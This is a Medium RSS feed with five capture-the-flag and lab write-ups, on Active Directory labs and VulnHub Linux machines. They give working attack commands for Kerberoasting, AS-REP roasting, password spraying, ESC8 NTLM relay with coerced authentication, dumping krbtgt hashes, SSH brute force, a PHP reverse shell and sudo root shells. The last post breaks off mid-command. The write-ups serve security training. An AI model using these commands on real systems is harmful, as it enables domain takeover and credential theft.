<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Aqsa Malik on Medium]]></title>
        <description><![CDATA[Stories by Aqsa Malik on Medium]]></description>
        <link>https://medium.com/@malikaqsa149?source=rss-11205e4e44b8------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*hpRu25t8VKbuQERF</url>
            <title>Stories by Aqsa Malik on Medium</title>
            <link>https://medium.com/@malikaqsa149?source=rss-11205e4e44b8------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 00:12:45 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@malikaqsa149/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[MartiniAD-HackSmarter Writeup]]></title>
            <link>https://medium.com/@malikaqsa149/martiniad-hacksmarter-writeup-264b57a7ac4d?source=rss-11205e4e44b8------2</link>
            <guid isPermaLink="false">https://medium.com/p/264b57a7ac4d</guid>
            <dc:creator><![CDATA[Aqsa Malik]]></dc:creator>
            <pubDate>Thu, 23 Jul 2026 11:58:52 GMT</pubDate>
            <atom:updated>2026-07-23T11:58:52.585Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>MartiniAD is an Active Directory lab that demonstrates a realistic attack path commonly encountered during internal penetration tests. The compromise begins with anonymous SMB enumeration, leading to credential discovery, Kerberoasting, offline password cracking, password spraying, and ultimately the compromise of a privileged domain account.</p><p>This walkthrough documents each stage of the attack and highlights the techniques used to escalate privileges within the domain.</p><h3>Initial Enumeration</h3><p>I started by enumerating the SMB service to identify basic domain information.</p><pre>nxc smb ip</pre><p>The scan revealed the Active Directory domain:</p><pre>DRY.MARTINI.BARS</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1ESlrgSmGHqRHewTdDaZpQ.png" /></figure><p>To simplify further interaction with Kerberos-aware tools, I added the domain to my local /etc/hosts file.</p><h3>SMB Share Enumeration</h3><p>The next step was to enumerate accessible SMB shares anonymously.</p><pre>smbclient -L //ip/ -N</pre><p>Among the available shares was one named <strong>notes</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*gYIqm3mldvAdDmppOYqboQ.png" /></figure><p>After connecting to the share, I discovered a file named notes.txt</p><p>smbclient //ip/notes -N</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*41qeZe1ZNtcGBCLpayhixg.png" /></figure><p>The file contained valid domain credentials.</p><pre>mprice:*martini*</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/413/1*JBTJg1FwAMPjJBgbS0hiDQ.png" /></figure><p>Finding credentials in publicly accessible shares is a common weakness in enterprise environments and often provides the initial foothold during an internal assessment.</p><h3>Domain User Enumeration</h3><p>Using the recovered credentials, I enumerated the domain users.</p><pre>crackmapexec smb ip -u mprice -p &#39;*martini*&#39; --users</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*088PC7HAhY6HdQyDfxQeFQ.png" /></figure><p>During enumeration, I identified an interesting service account:</p><pre>ATHENA_SVC</pre><p>Service accounts frequently have Service Principal Names (SPNs) configured, making them suitable targets for Kerberoasting attacks.</p><h3>Kerberoasting</h3><p>I requested a Kerberos service ticket for the service account using Impacket’s GetUserSPNs.</p><pre>impacket-GetUserSPNs DRY.MARTINI.BARS/mprice:&#39;*martini*&#39; -dc-ip ip -request</pre><p>The tool returned a Kerberos TGS hash for the ATHENA_SVC account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DNlyW2X8-1UdlqPjAG-o7w.png" /></figure><p>Since Kerberos service tickets are encrypted using the service account’s password hash, they can be cracked offline without generating additional authentication attempts against the domain controller.</p><h3>Offline Password Cracking</h3><p>I saved the extracted Kerberos hash into a file and used Hashcat to perform an offline dictionary attack.</p><pre>hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cT9Nu3e1fP3sj2J6PivpIQ.png" /></figure><p>Hashcat successfully recovered the password.</p><pre>1dirtymartini</pre><p>With valid credentials for a service account, the next objective was determining whether the password had been reused elsewhere.</p><h3>Password Spraying</h3><p>Password reuse remains one of the most common weaknesses in enterprise environments.</p><p>Using the list of users collected during enumeration, I performed a password spray with NetExec.</p><pre>nxc smb DRY.MARTINI.BARS -u users.txt -p &#39;1dirtymartini&#39; --continue-on-success</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dfu3Gr4mr3c2v4Nt0mwy3Q.png" /></figure><p>The attack identified another account using the same password.</p><pre>athena.t0</pre><p>This illustrates how password reuse can significantly increase the impact of a single credential compromise.</p><h3>Share Enumeration with the New Account</h3><p>I then enumerated SMB shares using the newly compromised credentials.</p><pre>netexec smb ip -u athena.t0 -p &#39;1dirtymartini&#39; --shares</pre><p>The enumeration indicated that the account possessed highly privileged permissions within the domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9FQFPwsChVrb2zvd6e_OsQ.png" /></figure><p>Further validation confirmed that <strong>athena.t0</strong> was a <strong>Domain Admin</strong> account.</p><p>Compromising a Domain Admin account effectively grants complete administrative control over the Active Directory environment.</p><h3>Dumping the KRBTGT Account Hash</h3><p>With Domain Admin privileges, I used Impacket’s secretsdump to retrieve the NTLM hash of the <strong>krbtgt</strong> account.</p><pre>impacket-secretsdump -just-dc-user krbtgt DRY.MARTINI.BARS/athena.t0@ip</pre><p>The command successfully extracted the KRBTGT account hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*f3JvhoHFFsk0m-5NVM4lHA.png" /></figure><p>Obtaining the KRBTGT hash is significant because it enables attacks such as Golden Ticket creation, which can provide persistent domain-wide access until the KRBTGT password is rotated twice.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=264b57a7ac4d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ShadowGate-HackSmarter Writeup]]></title>
            <link>https://medium.com/@malikaqsa149/shadowgate-hacksmarter-writeup-53f5822feb13?source=rss-11205e4e44b8------2</link>
            <guid isPermaLink="false">https://medium.com/p/53f5822feb13</guid>
            <dc:creator><![CDATA[Aqsa Malik]]></dc:creator>
            <pubDate>Wed, 22 Jul 2026 12:47:57 GMT</pubDate>
            <atom:updated>2026-07-22T12:47:57.997Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>ShadowGate is an advanced Active Directory lab that demonstrates a modern attack chain targeting <strong>Active Directory Certificate Services (AD CS)</strong>. The compromise begins with anonymous user enumeration and AS-REP roasting, progresses through certificate service enumeration, exploits an <strong>ESC8</strong> misconfiguration using NTLM relay, and culminates in Domain Controller compromise through certificate-based Kerberos authentication (PKINIT).</p><p>This walkthrough documents each stage of the attack while explaining the underlying techniques involved.</p><h3>Initial Enumeration</h3><p>I began by enumerating the SMB service.</p><p>Anonymous share enumeration was not permitted, so I shifted my focus to user enumeration.</p><pre>crackmapexec smb 10.0.23.82 -u &#39;&#39; -p &#39;&#39; --users</pre><p>The command successfully returned a list of valid Active Directory users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wf0e6pqMtJp4RTYrYpmtbQ.png" /></figure><p>I saved the usernames into a file named users.txt</p><h3>AS-REP Roasting</h3><p>With a list of domain users available, I attempted <strong>AS-REP roasting</strong>.</p><p>AS-REP roasting targets user accounts that have <strong>Kerberos pre-authentication disabled</strong>. Since pre-authentication is not required, the Domain Controller returns an encrypted Authentication Service Response (AS-REP), which can be cracked offline without knowing the user’s password.</p><p>I requested AS-REP hashes for all discovered users.</p><pre>impacket-GetNPUsers shadow.gate/ -dc-ip ip -usersfile users.txt -request</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7PotIGOYPs6btXXgEn7B1A.png" /></figure><p>The attack identified one vulnerable account:</p><p><strong>jtrueblood</strong></p><h3>Offline Password Cracking</h3><p>The recovered AS-REP hash was saved locally and cracked using Hashcat.</p><pre>hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/354/1*bDpig9D2rIPOnIV69XYVtQ.png" /></figure><p>Hashcat successfully recovered the password.</p><pre>jtrueblood:blood_brothers</pre><p>With valid domain credentials obtained, I proceeded with authenticated enumeration.</p><h3>Share Enumeration</h3><p>Using the recovered credentials, I enumerated SMB shares.</p><pre>nxc smb ip -u &#39;jtrueblood&#39; -p &#39;blood_brothers&#39; --shares</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*PnEnSSF08u0GVGn6in7W6A.png" /></figure><p>One share of particular interest was:</p><p><strong>CertEnroll</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*IqWDqJurFqQOnvbrNcetaw.png" /></figure><p>The share was readable and contained certificate-related files, indicating that <strong>Active Directory Certificate Services (AD CS)</strong> was deployed within the environment.</p><h3>BloodHound Analysis</h3><p>Next, I collected Active Directory data and analyzed it with BloodHound.</p><pre>bloodhound-python -d shadow.gate -u &#39;jtrueblood&#39; -p &#39;blood_brothers&#39; -ns ip -c ALL</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*P5t9lAl0VNvcz8QwSUKm-Q.png" /></figure><p>The graph revealed that the compromised account belonged to the:</p><pre>ADCS-READER</pre><p>group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*kcnzzlxjAUdTNeP6emYL4A.png" /></figure><p>This suggested that the environment relied on Active Directory Certificate Services and warranted further investigation into potential certificate-related attack paths.</p><h3>Enumerating AD CS</h3><p>To identify certificate service misconfigurations, I used <strong>Certipy</strong>.</p><pre>certipy-ad find -u jtrueblood@shadow.gate -p &#39;blood_brothers&#39; -dc-ip ip -vulnerable</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*RvDidwI6OqRCO4HUYt0hlA.png" /></figure><p>Certipy identified the environment as vulnerable to <strong>ESC8</strong> vulnerability</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*fffg-0gxtTK4CpcArhPmvA.png" /></figure><h3>Understanding ESC8</h3><p>ESC8 is an Active Directory Certificate Services misconfiguration where the Web Enrollment endpoint (/certsrv) accepts NTLM authentication without Extended Protection for Authentication (EPA).</p><p>When combined with NTLM relay, an attacker can relay an incoming NTLM authentication to the certificate service and obtain a certificate for the authenticating machine or user.</p><p>Because certificates can later be used for Kerberos authentication, this attack may ultimately lead to complete domain compromise.</p><h3>Verifying the Web Enrollment Endpoint</h3><p>I browsed to the certificate enrollment portal.</p><p>Using the recovered credentials, I confirmed that the portal was accessible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*uqk4EiGfEmxYrNoXJbnNiQ.png" /></figure><p>This verified that the AD CS Web Enrollment service was enabled.</p><h3>NTLM Relay Attack</h3><p>To exploit the ESC8 vulnerability, I configured <strong>ntlmrelayx</strong> to relay incoming NTLM authentication directly to the certificate service.</p><pre>impacket-ntlmrelayx -t http://ip/certsrv/certfnsh.asp --adcs -smb2support --template KerberosAuthentication</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7pSs64WSw3ZCTwKu1CVlsQ.png" /></figure><p>The relay server now waited for an inbound NTLM authentication that could be forwarded to AD CS.</p><h3>Coercing Authentication</h3><p>The next step was forcing the target to authenticate to my relay server.</p><p>Historically, the PrinterBug technique was commonly used for this purpose. In this environment, I instead leveraged NetExec’s <strong>coerce_plus</strong> module.</p><pre>nxc smb 10.0.23.82 -u jtrueblood -p &#39;blood_brothers&#39; -M coerce_plus -o LISTENER=10.200.69.203</pre><p>Used tun0 IP as Listener IP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*rnPyE6LokMGUZ5Njs6Q4pQ.png" /></figure><p>The attack flow was:</p><pre>Victim NTLM auth --&gt; ntlmrelayx captures it --&gt; Relays it to AD CS (/certsrv/) --&gt; Requests a certificate for the victim --&gt; Gets a usable .pfx certificate</pre><p>The relay attack successfully obtained a <strong>PFX certificate</strong> for the relayed account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*YnkeUjNpw5PNbbVDzLQnVw.png" /></figure><h3>PKINIT Authentication</h3><p>Possessing a certificate enables passwordless Kerberos authentication through <strong>PKINIT (Public Key Cryptography for Initial Authentication in Kerberos).</strong></p><p>Instead of authenticating with a password or NTLM hash, Kerberos uses the issued certificate to request a Ticket Granting Ticket (TGT).</p><p>I cloned PKINITtools and installed its dependencies.</p><pre>git clone https://github.com/dirkjanm/PKINITtools.git &amp;&amp; cd PKINITtools <br>python3 -m venv venv<br>source venv/bin/activate<br>pip3 install -r requirements.txt</pre><p>Next, I requested a TGT using the captured certificate.</p><pre>python3 gettgtpkinit.py -cert-pfx /home/kali/DC01.shadow.gate.pfx -dc-ip ip &#39;shadow.gate/dc01$&#39; /tmp/dc.ccache</pre><p>The request succeeded and generated a Kerberos credential cache.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*6DjAxfoYxNVxfVDRV0n8aA.png" /></figure><h3>Using the Kerberos Ticket</h3><p>I configured the Kerberos environment to use the newly acquired TGT.</p><pre>export KRB5CCNAME=/tmp/dc.ccache</pre><p>Since I now possessed a valid Kerberos ticket for the Domain Controller machine account, I could authenticate without supplying any password.</p><h3>Dumping Domain Credentials</h3><p>Using the Kerberos ticket, I executed Impacket’s secretsdump.</p><pre>impacket-secretsdump -k -no-pass -dc-ip ip -just-dc-user Administrator &#39;shadow.gate/dc01$&#39;@dc01.shadow.gate</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*Omqh51lMuFfiCfgcsblr1A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*SOAMqi2YHkaypC5NTTmJTg.png" /></figure><p>The attack successfully recovered sensitive NTLM hashes, including:</p><ul><li>Administrator</li><li>KRBTGT</li></ul><p>Compromising the KRBTGT account represents complete Active Directory compromise because it enables Golden Ticket attacks and long-term persistence until the KRBTGT password is rotated twice.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=53f5822feb13" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MoneyBox-VulnHub Writeup]]></title>
            <link>https://medium.com/@malikaqsa149/moneybox-vulnhub-0e854d7531d3?source=rss-11205e4e44b8------2</link>
            <guid isPermaLink="false">https://medium.com/p/0e854d7531d3</guid>
            <dc:creator><![CDATA[Aqsa Malik]]></dc:creator>
            <pubDate>Tue, 21 Jul 2026 10:31:15 GMT</pubDate>
            <atom:updated>2026-07-21T10:34:15.380Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>MoneyBox: 1 is a beginner-friendly Linux machine from VulnHub that focuses on information gathering, hidden web content discovery, steganography, password attacks, and privilege escalation. Although the individual vulnerabilities are relatively simple, chaining them together leads to full system compromise.</p><p>In this walkthrough, I’ll demonstrate the methodology used to gain root access.</p><h3>Reconnaissance</h3><p>I began by scanning the target to identify the exposed services.</p><pre>nmap ip -p- -sC -sV -T4 --script=vuln</pre><p>The scan revealed several services, including:</p><ul><li>HTTP</li><li>FTP</li><li>SSH</li></ul><p>With the attack surface identified, I started enumerating the web application.</p><h3>Web Enumeration</h3><p>While browsing the website, I inspected the source code of the <strong>/blogs</strong> page.</p><p>Inside the HTML source, I found the following hidden comment:</p><pre>&lt;!--the hint is the another secret directory is S3cr3t-T3xt --&gt;</pre><p>Navigating to the hidden directory revealed another interesting comment.</p><pre>&lt;!..Secret Key 3xtr4ctd4t4 &gt;</pre><p>This appeared to be an access key that would likely be useful later.</p><h3>FTP Enumeration</h3><p>Since FTP was open, I tested whether anonymous authentication was enabled.</p><pre>ftp ip</pre><p>Username:</p><pre>anonymous</pre><p>Password:</p><pre>anonymous</pre><p>Authentication succeeded.</p><p>After listing the files, I found an interesting image.</p><pre>trytofind.jpg</pre><p>I downloaded it using get command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XWKp9KqCo4gHyNsnOyyrIg.png" /></figure><h3>Steganography</h3><p>The image looked suspicious, so I attempted to extract hidden data using <strong>Steghide</strong>.</p><pre>steghide extract -sf trytofind.jpg</pre><p>I used secret key as a Password:</p><pre>3xtr4ctd4t4</pre><p>The extraction produced a file named:</p><pre>data.txt</pre><p>Opening the file revealed a username.</p><p>username: renu</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*S1OwxRhG3jPjbzfDAb8FlQ.png" /></figure><h3>SSH Password Brute Force</h3><p>With a valid username identified, I performed a password attack against SSH using Hydra.</p><pre>hydra -l renu -P /usr/share/wordlists/rockyou.txt ssh://ip</pre><p>Hydra successfully recovered the password.</p><p>renu:987654321</p><h3>Initial Access</h3><p>Using the recovered credentials, I connected via SSH.</p><pre>cat user1.txt</pre><p>Inside the home directory, I found the user1 flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/339/1*t9SXDbFpaBxuW7TRbr-GzA.png" /></figure><h3>Enumerating the System</h3><p>While exploring the filesystem, I discovered another user’s home directory.</p><pre>/home/lily</pre><p>Inside, I found the user2 flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/354/1*bX7Nd7s3xUEMRnLkPl3oiw.png" /></figure><p>I also noticed an .ssh directory containing an authorized_keys file.</p><p>Since SSH key-based authentication was already configured appropriately for local access, I was able to connect to the lily account from the existing session without supplying another password.</p><h3>Privilege Escalation</h3><p>After switching to the lily account, I checked the available sudo permissions.</p><pre>sudo -l</pre><p>The output showed that lily could execute:</p><pre>/usr/bin/perl</pre><p>using sudo.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*PKfVD4D31fLDyOGeRicfPw.png" /></figure><p>Since Perl can execute arbitrary commands, I spawned a root shell.</p><pre>sudo perl -e &#39;exec &quot;/bin/bash&quot;;&#39;</pre><p>This immediately granted root privileges.</p><h3>Root Flag</h3><p>Finally, I navigated to the root user’s home directory.</p><pre>cd /root<br>cat .root.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/360/1*WRzRwU2JaSHhIjOQ4r4Gwg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0e854d7531d3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CewlKid-VulnHub Writeup]]></title>
            <link>https://medium.com/@malikaqsa149/cewlkid-vulnhub-1efd7bb8c4fa?source=rss-11205e4e44b8------2</link>
            <guid isPermaLink="false">https://medium.com/p/1efd7bb8c4fa</guid>
            <dc:creator><![CDATA[Aqsa Malik]]></dc:creator>
            <pubDate>Tue, 21 Jul 2026 10:01:34 GMT</pubDate>
            <atom:updated>2026-07-21T10:34:35.797Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>CewlKid is a beginner-friendly Linux machine from VulnHub that focuses on web enumeration, custom password list generation, credential harvesting, and privilege escalation through misconfigured sudo permissions.</p><p>The machine demonstrates how seemingly minor weaknesses — such as predictable passwords, unrestricted file uploads, and overly permissive sudo configurations — can be chained together to achieve complete system compromise.</p><p>In this walkthrough, I’ll cover each step used to gain root access.</p><h3>Reconnaissance</h3><p>I started with an Nmap scan to identify the services exposed by the target.</p><pre>nmap ip -p- -sC -sV -T4 --script=vuln</pre><p>The scan revealed several open ports, with the most interesting being <strong>port 8080</strong>.</p><p>Visiting the application in the browser showed that it was running <strong>SiteMagic CMS</strong>.</p><h3>Enumerating the CMS</h3><p>Since SiteMagic is a publicly available CMS, I searched for its default credentials.</p><p>The commonly documented credentials were:</p><pre>admin:password</pre><p>Unfortunately, these credentials were no longer valid.</p><p>At this point, I suspected that the administrator password had been changed.</p><h3>Creating a Targeted Wordlist with CeWL</h3><p>Instead of using generic password lists, I decided to create a custom wordlist using <strong>CeWL</strong>.</p><p>CeWL crawls a website and extracts words that are likely to be meaningful to the organization or administrator.</p><pre>cewl -d 3 -m 6 -w wordlist.txt http://ip:8080</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*C-tBA4aYLCVkxanyaJIfWw.png" /></figure><p>Parameters used:</p><ul><li>-d 3 → Crawl three levels deep</li><li>-m 6 → Minimum word length of six characters</li><li>-w → Save output to a file</li></ul><h3>Password Attack</h3><p>Using <strong>Burp Suite Intruder</strong>, I launched a password attack against the login page.</p><p>Configuration:</p><ul><li>Username → admin</li><li>Password list → wordlist.txt</li></ul><p>After several requests, Intruder identified a successful login.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C_pmDFYLgQdT5blaDu2J8w.png" /></figure><p><strong>Valid credentials</strong></p><p>admin:Letraset</p><h3>Initial Access</h3><p>After logging into the SiteMagic administration panel, I explored the available functionality.</p><p>An upload feature allowed files to be uploaded without properly restricting executable PHP content.</p><p>I uploaded a PHP reverse shell.</p><p>On my Kali machine, I started a Netcat listener.</p><pre>nc -nlvp 4444</pre><p>Next, I navigated to:</p><pre>http://ip:8080/files/images/shell.php</pre><p>The reverse shell connected successfully, giving me command execution as www-data</p><h3>Privilege Escalation — www-data → ipsum</h3><p>The first step after obtaining a shell was to enumerate sudo permissions.</p><pre>sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*i27SeIDXuLdYvQzCWcOHhw.png" /></figure><p>The output showed that www-data could execute:</p><pre>/usr/bin/cat</pre><p>as the user <strong>ipsum</strong>.</p><p>While browsing the filesystem, I found an interesting file.</p><pre>sudo -u ipsum /usr/bin/cat /var/www/example.com/html/../nothing_to_see_here</pre><p>The file contained Base64-encoded data.</p><p>After decoding it, I recovered two user credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*jKnHmkG4K4D3foH8lJAGmA.png" /></figure><p>lorem:PeopleSpeak44!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/332/1*cTy6-vyaqzYLKh7hCsDeKw.png" /></figure><p>Ipsum :SpeakPeople22!</p><h3>Privilege Escalation — lorem</h3><p>I switched to the <strong>lorem</strong> account.</p><pre>su lorem</pre><p>Running:</p><pre>sudo -l</pre><p>revealed another interesting sudo rule.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*2kTouqCB-3YbDrHU-vO2dw.png" /></figure><p>The user could execute:</p><pre>/usr/bin/base64 /etc/shadow</pre><p>as <strong>root</strong>.</p><p>Although this does not directly provide a shell, it can be abused to read protected files.</p><p>I used it to encode /etc/shadow.</p><pre>sudo -u root /usr/bin/base64 /etc/shadow</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*X1zn4BwIinLTOtRFKHW7fw.png" /></figure><p>After decoding the output locally, I obtained the password hash for cewlbeans user.</p><p><strong>cewlbeans:$6$5fFwQk4a3U7tOwNk$vGgwv2mPfsqFrJGWsGx2vRZ69NW2hbBt5aXzDkGFnMwXk2qAeKWBZjY2nu9eNrLVv9VtiHD7zUyA/uEQLmJFz1</strong>:18514:0:99999:7:::</p><h3>Cracking the Password</h3><p>I copied the hash into a file named hash.txt.</p><p>Using <strong>John the Ripper</strong> with the famous rockyou.txt wordlist:</p><pre>john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt</pre><p>John successfully recovered the password.</p><p><strong>cewlbeans:Fondateurs</strong></p><h3>Root Access</h3><p>I switched to the compromised account.</p><pre>su cewlbeans</pre><p>Checking sudo permissions:</p><pre>sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*wEn3qXkHwAdKdwLdrqz1WQ.png" /></figure><p>showed that this account could execute <strong>any command as root</strong>.</p><p>I obtained a root shell using:</p><pre>sudo su -<br>cd /root<br>cat root.txt</pre><p>Finally, I navigated to the root directory and captured the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*NP8SGCFJWaujlQiO-Gz8yw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1efd7bb8c4fa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackSmarter-Sysco Writeup]]></title>
            <link>https://medium.com/@malikaqsa149/hacksmarter-sysco-writeup-8c0fd134900a?source=rss-11205e4e44b8------2</link>
            <guid isPermaLink="false">https://medium.com/p/8c0fd134900a</guid>
            <dc:creator><![CDATA[Aqsa Malik]]></dc:creator>
            <pubDate>Fri, 10 Jul 2026 11:27:48 GMT</pubDate>
            <atom:updated>2026-07-14T12:13:21.810Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>This machine focused on Active Directory enumeration, Kerberos attacks, credential discovery, and privilege escalation through Group Policy Object (GPO) abuse. Starting with anonymous reconnaissance, I identified valid domain users, performed AS-REP Roasting to recover an initial set of credentials, pivoted through multiple compromised accounts, and ultimately abused excessive permissions on the Default Domain Policy to obtain Domain Administrator privileges.</p><h3>Initial Enumeration</h3><p>I began by performing an Nmap scan against the target to identify exposed services.</p><p>In addition to discovering the available ports, the scan revealed the internal Active Directory domain name.</p><p>After identifying the domain, I added it to my local /etc/hosts file.</p><pre>10.1.93.242    dc1.sysco.local sysco.local</pre><p>This ensured that Kerberos and other Active Directory tools could correctly resolve the domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*CN6iZZuyw_ipYT_SkneA6g.png" /></figure><h3>Manual OSINT and User Enumeration</h3><p>Rather than immediately launching attacks, I manually browsed the organization’s website to collect employee names that could later be used for Active Directory enumeration.</p><p>The following employees were identified:</p><ul><li>Greg Shields</li><li>Sarah Jhonson</li><li>Jack Dowland</li><li>Lainey Moore</li></ul><p>These names would later be converted into potential Active Directory usernames.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CsLx69gYRawCY9XZgVouGA.png" /></figure><h3>Generating Username Variations</h3><p>I used <strong>username-anarchy</strong> to generate common username formats.</p><pre>git clone https://github.com/urbanadventurer/username-anarchy.git<br>cd username-anarchy<br>chmod +x username-anarchy<br>./username-anarchy -i users.txt &gt; usernames.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*jXQbdU3hnJrgWqISgWXIBw.png" /></figure><p>This generated usernames such as:</p><ul><li>greg.shields</li><li>gshields</li><li>g.shields</li><li>jack.dowland</li><li>lainey.moore</li></ul><p>These username formats are commonly used during password spraying and Kerberos-based attacks.</p><h3>Anonymous SMB Enumeration</h3><p>Before attempting authentication, I checked whether SMB allowed anonymous access.</p><pre>netexec smb sysco.local -u &#39;&#39; -p &#39;&#39; --shares</pre><p>I also attempted anonymous user enumeration.</p><pre>netexec smb sysco.local -u &#39;&#39; -p &#39;&#39; --users</pre><p>Although no credentials were available yet, this helped identify how restrictive the domain configuration was.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*wHovvGLHEB49I6PwIvLNDQ.png" /></figure><h3>Validating Users with Kerbrute</h3><p>Next, I validated the generated usernames using <strong>Kerbrute</strong>.</p><p>After installing Kerbrute:</p><pre>wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64<br>chmod +x kerbrute_linux_amd64<br>mv kerbrute_linux_amd64 kerbrute<br>sudo mv kerbrute /usr/local/bin/</pre><p>I performed user enumeration.</p><pre>kerbrute userenum \<br>--dc 10.1.93.242 \<br>-d sysco.local \<br>usernames.txt</pre><p>Kerbrute successfully identified valid Active Directory accounts without requiring authentication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*hjDxG9fwcEW_hMPQREOsCA.png" /></figure><h3>Choosing an Attack Path</h3><p>At this stage, valid usernames were available, but no passwords had been recovered.</p><p>Two common attack paths exist in this situation:</p><ul><li>Password Spraying</li><li>AS-REP Roasting</li></ul><p>Password spraying can be effective but carries the risk of triggering account lockouts if the domain’s password policy is unknown.</p><p>Instead, I chose <strong>AS-REP Roasting</strong>, which targets accounts configured with <strong>“Do not require Kerberos preauthentication.”</strong></p><p>Unlike Kerberoasting, AS-REP Roasting requires only valid usernames.</p><h3>AS-REP Roasting</h3><p>Using NetExec, I searched for vulnerable accounts.</p><pre>netexec ldap dc1.sysco.local \<br>-u users.txt \<br>-p &#39;&#39; \<br>--asreproast hashes.txt</pre><p>A vulnerable account (jack.dowland) was identified, and its AS-REP hash was written to <strong>hashes.txt</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5LwarKpP_FlDlgq5MoNNRA.png" /></figure><p>The hash was cracked using Hashcat.</p><pre>hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt</pre><p>The recovered credentials were:</p><pre>jack.dowland : musicman1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/385/1*gwemIq0ByCYiI41q4pUl-Q.png" /></figure><h3>Enumerating as Jack Dowland</h3><p>Using the recovered password, I authenticated to SMB.</p><pre>netexec smb sysco.local \<br>-u jack.dowland \<br>-p musicman1 \<br>--shares</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*190GYilNAU3lkPV-csiSkw.png" /></figure><p>With valid credentials available, I collected BloodHound data.</p><pre>netexec ldap 10.1.93.242 \<br>-u jack.dowland \<br>-p musicman1 \<br>--bloodhound \<br>-c all \<br>--dns-server 